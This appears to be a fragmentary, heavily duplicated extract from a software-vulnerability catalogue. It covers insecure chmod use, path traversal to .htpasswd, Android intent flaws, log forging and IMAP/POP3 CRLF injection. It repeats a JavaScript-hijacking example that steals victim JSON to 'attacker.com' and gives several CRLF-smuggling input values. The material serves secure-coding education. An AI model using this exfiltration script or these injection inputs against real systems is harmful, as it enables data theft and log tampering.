permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
, such as "../../localuser/public_html/.htpasswd
", the application will make the specified file readable to the attacker.
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
, such as "../../localuser/public_html/.htpasswd
", the application will make the specified file readable to the attacker.
...
mask = config_params['perms']
File.chmod(filename, mask)
...
if (password eq '783-1') {
getURL('http://.../client_pages/.../783.html', '');
}
else {
if (password eq '771-2 Update') {
getURL('http://.../client_pages/.../771.html', '');
}
else {
if (password eq '7990') {
getURL('http://.../client_pages/.../799.html', '');
}
}
ExternalInterface
, fscommand
or getURL
. XML.load
, loadVariables
, LoadVars.load
etc. If a Flash application should not communicate with the browser or needs to make any networking calls, the AllowNetworkingAccess
tag must be set to "none".AllowNetworkingAccess
tag must be set to "none"
. AllowNetworkingAccess
tag should be set to "internal"
. AllowNetworkingAccess
tag must be set to "all"
. services-config.xml
descriptor file specifies a "Logging" XML element to describe various aspects of logging. It looks like the following:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
tag takes an optional attribute called level
, which indicates the log level. If the debug level is set to too detailed a level, your application may write sensitive data to the log file.
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
has been detected. Implicit internal intents might expose the system to man-in-the-middle style attacks on internal components.Intent
uses a custom action as defined by an internal component. Implicit intents can facilitate the calling of intents from any given external component without knowledge of the specific component. Combining the two allows for an application to access intents specified for a specific internal use from outside of the desired application context.Intent
from an external application can enable for a wide variety of man-in-the-middle exploits ranging in severity from information leakage and denial of service to remote code execution, depending on the capacity of the internal action specified by the Intent
.Intent
.
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
has been detected. Implicit pending intents might result in security vulnerabilities such as denial of service, private and system information leakage, and privilege escalation.Intent
at a later time. Implicit intents facilitate the calling of intents from any given external component, using a general name and filter to determine execution.Intent
is created as a PendingIntent
, this might allow for the Intent
to be sent to an unintended component that runs outside of the intended temporal context, leaving the system vulnerable to exploit vectors such as denial of service, private and system information leakage, and privilege escalation.PendingIntent
.
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
PendingIntent
has been detected that has its flag value set to FLAG_MUTABLE
. Pending intents created with the flag value of FLAG_MUTABLE
are susceptible to having unspecified Intent
fields set downstream, which can modify the capacity of the Intent
and leave the system open to vulnerability.Intent
of a PendingIntent
after its creation can leave a system open to attack. This mostly depends on the overall capability of the underlying Intent
. In most cases, it is best practice to prevent potential issues by setting the PendingIntent
flag to FLAG_IMMUTABLE
.PendingIntent
created with a flag value of FLAG_MUTABLE
.
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
from external input to start an activity, start a service, or deliver a broadcast can enable an attacker to arbitrarily launch internal application components, control the behavior of an internal component, or indirectly access protected data from a content provider through temporary permission grants.Intent
nested in the extras bundle of an externally provided Intent
.Intent
to launch a component by calling startActivity
, startService
, or sendBroadcast
.Intent
from an external source and uses that Intent
to start an activity.
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework use the POST method to submit requests, which makes it difficult to generate a request from a malicious <script>
tag (since <script>
tags only generate GET requests). However, Microsoft AJAX.NET does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework uses the POST method to submit requests, which makes it difficult to generate a request from a malicious <script>
tag (since <script>
tags only generate GET requests). However, GWT does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
returningObjectFlag
to true
on the javax.naming.directory.SearchControls
instance passed to the search
method or by using a library function that sets this flag on its behalf.
<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
chroot()
should be dropped immediately after the operation is performed.chroot()
, it must first acquire root
privilege. As soon as the privileged operation has completed, the program should drop root
privilege and return to the privilege level of the invoking user.chroot()
to restrict the application to a subset of the file system below APP_HOME
in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
with some non-zero value means the application is continuing to operate with unnecessary root
privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root
user, the potential for damage is substantially reduced.
...
DATA log_msg TYPE bal_s_msg.
val = request->get_form_field( 'val' ).
log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.
CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...
FOO
" for val
, the following entry is logged:
XY E 123 VAL: FOO
FOO XY E 124 VAL: BAR
", the following entry is logged:
XY E 123 VAL: FOO XY E 124 VAL: BAR
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
trace("Failed to parse val = " + val);
}
twenty-one
" for val
, the following entry is logged:
Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
Failed to parse val=twenty-one
User logged out=badguy
...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
syslog(LOG_INFO,"Illegal value = %s",val);
...
twenty-one
" for val
, the following entry is logged:
Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
01 LOGAREA.
05 VALHEADER PIC X(50) VALUE 'VAL: '.
05 VAL PIC X(50).
...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(VAL)
...
END-EXEC.
EXEC DLI
LOG
FROM(LOGAREA)
LENGTH(50)
END-EXEC.
...
FOO
" for VAL
, the following entry is logged:
VAL: FOO
FOO VAL: BAR
", the following entry is logged:
VAL: FOO VAL: BAR
<cflog file="app_log" application="No" Thread="No"
text="Failed to parse val="#Form.val#">
twenty-one
" for val
, the following entry is logged:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
twenty-one%0a%0a%22Information%22%2C%2C%2202/28/01%22%2C%2214:53:40%22%2C%2C%22User%20logged%20out:%20badguy%22
", the following entry is logged:
"Information",,"02/28/01","14:50:37",,"Failed to parse val=twenty-one"
"Information",,"02/28/01","14:53:40",,"User logged out: badguy"
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
name := r.FormValue("name")
logout := r.FormValue("logout")
...
if (logout){
...
} else {
log.Printf("Attempt to log out: name: %s logout: %s", name, logout)
}
}
twenty-one
" for logout
and he was able to create a user with name "admin
", the following entry is logged:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", the following entry is logged:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
String val = request.getParameter("val");
try {
int value = Integer.parseInt(val);
}
catch (NumberFormatException nfe) {
log.info("Failed to parse val = " + val);
}
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val=twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
Example 1
to the Android platform.
...
String val = this.getIntent().getExtras().getString("val");
try {
int value = Integer.parseInt();
}
catch (NumberFormatException nfe) {
Log.e(TAG, "Failed to parse val = " + val);
}
...
var cp = require('child_process');
var http = require('http');
var url = require('url');
function listener(request, response){
var val = url.parse(request.url, true)['query']['val'];
if (isNaN(val)){
console.log("INFO: Failed to parse val = " + val);
}
...
}
...
http.createServer(listener).listen(8080);
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val = twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy
long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
NSLog("Illegal value = %s",val);
...
twenty-one
" for val
, the following entry is logged:
INFO: Illegal value=twenty-one
twenty-one\n\nINFO: User logged out=evil
", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
<?php
$name =$_GET['name'];
...
$logout =$_GET['logout'];
if(is_numeric($logout))
{
...
}
else
{
trigger_error("Attempt to log out: name: $name logout: $val");
}
?>
twenty-one
" for logout
and he was able to create a user with name "admin
", the following entry is logged:
PHP Notice: Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", the following entry is logged:
PHP Notice: Attempt to log out: name: admin logout: 1 logout: twenty-one
name = req.field('name')
...
logout = req.field('logout')
if (logout):
...
else:
logger.error("Attempt to log out: name: %s logout: %s" % (name,logout))
twenty-one
" for logout
and he was able to create a user with name "admin
", the following entry is logged:
Attempt to log out: name: admin logout: twenty-one
admin+logout:+1+++++++++++++++++++++++
", the following entry is logged:
Attempt to log out: name: admin logout: 1 logout: twenty-one
...
val = req['val']
unless val.respond_to?(:to_int)
logger.info("Failed to parse val")
logger.info(val)
end
...
twenty-one
" for val
, the following entry is logged:
INFO: Failed to parse val
INFO: twenty-one
twenty-one%0a%0aINFO:+User+logged+out%3dbadguy
", the following entry is logged:
INFO: Failed to parse val
INFO: twenty-one
INFO: User logged out=badguy
...
let num = Int(param)
if num == nil {
NSLog("Illegal value = %@", param)
}
...
twenty-one
" for val
, the following entry is logged:
INFO: Illegal value = twenty-one
twenty-one\n\nINFO: User logged out=evil
", the following entry is logged:
INFO: Illegal value=twenty-one
INFO: User logged out=evil
...
Dim Val As Variant
Dim Value As Integer
Set Val = Request.Form("val")
If IsNumeric(Val) Then
Set Value = Val
Else
App.EventLog "Failed to parse val=" & Val, 1
End If
...
twenty-one
" for val
, the following entry is logged:
Failed to parse val=twenty-one
twenty-one%0a%0a+User+logged+out%3dbadguy
", the following entry is logged:
Failed to parse val=twenty-one
User logged out=badguy
CREATE
command that is sent to the IMAP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
and PASS
command that is sent to the POP3 server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...